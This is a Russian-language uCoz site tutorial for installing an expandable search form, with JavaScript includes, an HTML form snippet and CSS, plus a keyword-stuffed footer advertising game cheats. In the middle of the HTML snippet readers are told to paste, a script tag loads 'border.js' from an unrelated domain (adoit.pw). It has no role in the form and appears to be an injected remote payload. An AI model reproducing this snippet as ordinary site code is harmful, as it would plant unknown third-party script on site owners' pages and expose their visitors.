Форма входа
Меню сайта
Все для игр
Все для сайта
Программы
Мобильные и КПК
Игры
PhotoShop
14:26
Создаём раздвижную форму поиска для uCoz
Создаём раздвижную форму поиска для uCoz
Информация о новости:
Название: Создаём раздвижную форму поиска для uCoz.
Категория:
Прочее .
Добавил:
DoG .
Дата добавления: 11.08.2013.
Комментарии: 0.
Рейтинг: 0.0.
Новость прочитали: 318.
Ключевые слова Создаём раздвижную форму поиска для uCoz - скачать БЕСПЛАТНО Создаём раздвижную форму поиска для uCoz, Скачать файлы Прочее,
На данной странице вы можете прочитать и поделиться с другом новостью - Создаём раздвижную форму поиска для uCoz БЕСПЛАТНО , также тут вы можете оставлять свои отзывы про данную новость.
Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.
Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.
И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:
Код
<script src="http://pnghosts.ru/js_css/classie.js"></script> <script src="http://pnghosts.ru/js_css/uisearch.js"></script> <script> new UISearch( document.getElementById( 'sb-search' ) ); </script>
Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.
Код
<!-- Поиск по сайту --> <div id="sb-search" class="sb-search"> <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" > <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/> <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" /> </form> </div> <!-- /Поиск по сайту -->
Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:
Код
/* Раздвижная форма поиска для uCoz ------------------------------------------*/ .sb-search { position: relative; margin-top: 10px; width: 0%; min-width: 32px; height: 32px; float: right; overflow: hidden; -webkit-transition: width 0.3s; -moz-transition: width 0.3s; transition: width 0.3s; -webkit-backface-visibility: hidden; } .sb-search-input { position: absolute; top: 0; right: 0; margin: 0; z-index: 10; width:300px; height: 20px; outline: none; background: #fff; border: 1px solid #CAD3DA; padding: 5px 32px 5px 20px; font:11px Verdana,Arial,Helvetica, sans-serif; color:#555; border-radius:3px 0px 0px 3px; } .sb-search-input::-webkit-input-placeholder { color: #efb480; } .sb-search-input:-moz-placeholder { color: #efb480; } .sb-search-input::-moz-placeholder { color: #efb480; } .sb-search-input:-ms-input-placeholder { color: #efb480; } .sb-icon-search, .sb-search-submit { position: absolute; right: 0; top: 0; margin: 0; width: 32px; height: 32px; display: block; line-height: 30px; text-align: center; cursor: pointer; } .sb-search-submit { background: #fff; color: transparent; border: none; outline: none; z-index: -1; -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; filter: alpha(opacity=0); opacity: 0; } .sb-icon-search { border:none; z-index: 90; background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat; -webkit-font-smoothing: antialiased; border-radius:3px 3px 3px 3px; } .sb-icon-search:before { content: "\e000"; } .sb-search.sb-search-open, .no-js .sb-search { width: 100%; } .sb-search.sb-search-open .sb-icon-search, .no-js .sb-search .sb-icon-search { background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat; z-index: 11; border-radius:0px 3px 3px 0px; } .sb-search.sb-search-open .sb-search-submit, .no-js .sb-search .sb-search-submit { z-index: 90; }
На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.
Спасибо за внимание!
Понравилось? Поделись ссылкой с другом...
Категория: Прочее |
Просмотров: 318 |
Добавил: DoG
| Рейтинг: 0.0 /0
скачать
www.Up-Royal.Do.Am - Королевство развлечений.Музыка онлайн,видео онлайн, мониторинг игровых серверов, ТОП сайтов, игры, все для PhotoShop,Все для сайтов uCoz, Dle,все для игр, все для Mobile И КПК,софт в огормном количестве! Создание и продвижение сайтов - новая кс 1.6 2011,Скачать Counter-Strike,Контер страйк бесплатно,Скачать пачти для CS 1.6 бесплатно,Скачать готовые ссервера для CS 1.6,готовые сервера бесплатно,Скачать плагины,моды,модели оружия,создать сервер,Всё для Ucoz,укоз,юкоз,скачать шаблоны для Ucoz,Скрипты для Ucoz бесплатно,скачать,читы для Counter-Strike,скачать wall Hack + AIM,скачать чит бесплтано для CS, AIM для CS, читы бесплатно, скачать читы для контер стайк, безопасность для компьютера, софт и различные программы, мультимедия, графика для сайтов, баннера, рейтинг, оптимизация для сайтов, продвижение, скачать фильмы, смотреть онлайн видео, смешные картинки,скачать Готовые сервера CS 1.6 бесплатно, скачать Модели Игроков CS 1.6 бесплатно, скачатьМодели Оружия CS 1.6
теги
Партнер №1
Баннеры
Статистика
Онлайн:
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Зарег. на сайте:
Всего: 278 Новых за месяц: 0 Новых за неделю: 0 Новых вчера: 0 Новых сегодня: 0
Из них:
Обычных:
277 Г.Администраторов:
1 Администраторов:
Пиар менеджеров:
Г.Модераторов:
Модераторов:
0 Дизайнеров:
Журналистов:
Контролеров:
Файловиков:
Тимэйтов:
Друзья:
0 Проверенных:
0 Забаненых:
50 Из них:
Парней:
263 Девушек:
15
Счетчик материалов:
Новостей: 7956 Статей: 48 Файлов: 504 Форум: 225/360 Сайтов: 13 Картинок: 1 Комментариев: 35